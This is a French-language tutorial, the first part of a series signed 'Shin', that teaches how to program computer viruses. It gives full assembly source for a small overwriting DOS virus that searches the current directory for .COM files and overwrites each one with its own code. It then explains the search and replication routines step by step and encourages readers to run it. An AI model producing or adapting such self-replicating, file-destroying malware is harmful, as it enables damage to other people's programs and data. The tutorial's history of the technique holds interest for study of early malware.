-La programmation des VIRUS-
1ère partie


Pour ceux qui n'y connaissent que dalle, je vais commencer par le commencement.

*Qu'est ce qu'un virus?

Un virus est un programme, le plus souvent (pour ne pas dire toujours)écrit en assembleur, qui à la faculté de se reproduire une fois éxecuté.
En général, un virus se greffe sur un programme pour faciliter son activation et donc sa reproduction.Il est conçu en règle générale pour passer inaperçu pendant sa phase de contamination et de réplication.
Un virus doit comporter 2 parties au moins:
-une lui permettant la recherche de fichiers à contaminer.
-une lui permettant de se reproduire.

On peut ensuite rajouter d'autres routines (parties ou sous parties) telles qu'une charge destructrice, un module de déclenchement, ...

Bien évidemment, les virus existent depuis fort longtemps et étaient initiallement conçus pour infecter des fichiers de type .COM remontant à l'époque du CP/M.
Aujourd'hui, les virus s'attaquant aux .EXE de windows ou bien les macro Virus et autres virus Worms... sont bien plus complexes dans leur écriture.
Toutefois, certains mécanismes restent les mêmes.

Pour débuter, nous étudierons des infecteurs de .COM tout simples.Essayez parallèlement à ce cour de trouver un bouquin sur l'assembleur.Vous aurez aussi besoin d'un assembleur.Je vous conseil TASM.


Virus infecteur de COM tout simple.

Il vaut mieux commencer avec un tout petit virus qui sera facile à comprendre et pas trop dangereux en cas d'échappée...

Il s'agit donc ici d'un simple infecteur de COM non résidant en mémoire qui comporte du code de 80X86 non destructeur.

On trouve parmis les infecteurs de COM ddes virus à recouvrement,des virus compagnons et des virus parasites, mais nous verrons ça plus tard.
Voyons déjà comment fonctionne un programme .COM.

Au prompt du DOS,lorsque vous tapez le nom d'un programme .COM,le DOS recherche un prog avec ce nom et l'extension .COM.Si il le trouve, il le charge en RAM et l'éxecute . Sinon, il cherche un EXE avec le même nom, puis un BAT.
Les COM sont les plus simples des programmes pour le CPU.Leur format de segment est prédéfini dans le DOS. Un prog COM ne peut utiliser qu'un seul segment, c'est à dire 64Ko.Le COM se charge dans le segment à l'offset 100h, tandis que le DOS crée un préfixe de segment de programme de l' adresse 0 à 0FFh.
C'est maintenant que notre virus intervient.

1.Le virus à recouvrement.

C'est simple et c'est de la merde, parce qu'une fois qu'un programme est contaminé, il es détruit car écrasé en partie, d'oùle nom de recouvrement.Il n'y a donc pas moyen de dissimuler un tel virus.Il fonctionne de la manière suivante:

-le virus est executé.
-Il commence son éxecution dans le segment alloué par DOS à l'offset 100h.
-Il recherche tous les fichiers portant un masque "*.COM" dans le répertoire courant.
-Il ouvre chaque fichier trouvé et écrit son code au début.
-Il rend le contrôle au DOS.

Le programme infecté est alors baisé, et quand on l'exécute, c'est en faite le code du virus qui part.

Voici la source d'un tel virus:


;Virus d'une cinquantaine d'octet qui réécrit
;tous les COM d'un répertoire.

.model small
.code

FNOM   EQU    9EH                   ;Fonction de recherche,résultat.

               org       100H

DEBUT:
               mov      ah,4EH            ;Cherche les fichiers COM (SF)
               mov      dx,OFFSET COM_FILE
               int         21H

CHERCHE:
               jc           FAIT
               mov       ax,3D01H          ;Ouvre le fichier trouvé.
               mov       dx,FNOM
               int          21H

               xchg       ax,bx                ;Ecrit le virus dans le fichier.
               mov        ax,40H
               mov       cl,42               ;Taille du virus.
               mov        dx,100H         ;Emplacement du virus.
               int          21H

               mov        ah,3EH
               int          21H                 ;Ferme le fichier.

               mov       ah,4FH
               int          21H                 ;Cherche un nouveau fichie COM.
               jmp        CHERCHE
FAIT:
               ret                 ;Rend le controle au DOS.
COM_FILE          Db          '*.COM',0 ;Chaine pour la recherche de COM.

END DEBUT


Voilà.J'espère que vous y comprendrez quelquechose. Voyons maintenant de plus prêt le fonctionnement de la routine de recherche.
1.1Fonction de recherche

Le DOS conserve les informations des fichiers dans 2 zones du disques (FAT). Le répertoire contient un champ de 32 octets qui contient les nom, date, taille, extension et attributs des fichiers.La FAT est donc un plan du disque.Chaque disque contient 2 FAT. La FAT et le répertoire Root sont toujours situé à la même place sur tous les disques.
Le DOS nous facilite bien le travail en recherchant et en ouvrant lui même le fichier qu'on lui indique.Il suffit pour cela d'appeler la bonne interruption du DOS et de placer des valeurs correctes dans les registres du CPU.

Par exemple,

mov                dx,OFFSET FNOM
xor                  al,al
mov                ah,3DH
int                   21H

Cette routine ouvre un fichier dont le nom est stocké dans FNOM.On a ici indiqué au DOS de localiser et de préparer le fichier pour une lecture.
Il en est de même pour les groupes de fichiers ou les répertoire.Il suffit de déclarer un répertoire ou un nom avec la syntaxe :

Db                 'Chemin\nom_de_fichier.ext'

Bien sure, le caractère * et ? sont des jokers comme dans le prompt du DOS.

On va rechercher un premier fichier .COM puis ,si on en a un,on en cherche un second,...
On utilisera pour ça une première fonction de recherche, puis une seconde pour les fichier suivants.
La première routine ressemble à ça:

CH_UN:
    mov     dx,OFFSET FICHCOM     ;qui pointe sur la chaine '*.COM'.
    mov     ah,4EH                                ;Fonction premiere de recherche
    int        21H                                     ;appelle le DOS.
    jc        PASFICH                            ;si pas de fichier trouvé

TROUVE:                                          ;Viens ici si fichier trouvé

FICHCOM   Db  '*.COM',0            ;Chaine ASCII

Si la recherche donne un résultat,la seconde recherche est appelée.Elle est beaucoup plus simple car les paramètres on été fixés précédement.

    mov    ax,4FH
    int     21h
    jc      PASFICH
TROUVE2:

1.2 Fonction de réplication.

On a vu comment le virus trouvait son programme hôte.Maintenant,son code doit ouvrir l'hôte puis écrire son code dans le programme hôte, en l'écrasant puisqu'il s'agit d'un virus à recouvrement.
Pour ouvrir l'hôte, le virus fait appel à la fonction 3Dh de l'interruption 21h.Les droits d'accès sont spécifiés dans le registre al qui prend la valeur 1 (écriture seule).DX:DS pointe vers le fichier trouvé dont le nom est stocké dans FNOM à l'adresse 9EH.
Le code est donc le suivant:

    mov  ax,3D01H
    mov  dx OFFSET FNOM
    int   21H

DOS renvoie ensuite un numéro d'identification du fichier dans ax qui devra être placé en bx pour toutes les manipulations.On utilisera donc l'instruction "mov bx,ax".

Ensuite, le virus appelle la fonction 40H de int 21h pour copier son code.C'est ds:dx qui pinte à l'endroit où les données seront écrites. Ici, la position est ds:100h puisque le code s'écrit au début du fichier (recouvrement). C'est ici cx porte le nombre d'octets à écrire, et dx pointe vers les données à écrire. on obtient le code suivant:

    mov    bx,ax
    mov    dx,100h
    mov    cx,44
    mov    ah,40h
    int       21h


Vous remarquez que ce code est très simple,aussi bien dans sa tructure que dans son éxécution.Evidement, il n'est pas très performant,mais il ne fait que 45 octets, ce qui est très peu. Le principale défaut de ce type de virus ( recouvrement ) tient dans le fait qu'il détruit tout ce qu'il infecte et ne peut donc pas passer inaperçu bien longtemps.

Je vous laisse cojiter la dessus pour la première partie.Si jamais vous exécutez ce virus, vous n'avez qu'à lancer les programmes du même répertoire pour savoir s'ils sont contaminés.Vous n'avez qu'a les effacer puis les remplacer par une sauvegarde pour récuperer un répertoire sain.

La prochaine partie sera consacrée aux virus compagnons simples infecteurs de .COM


                     -=Shin=-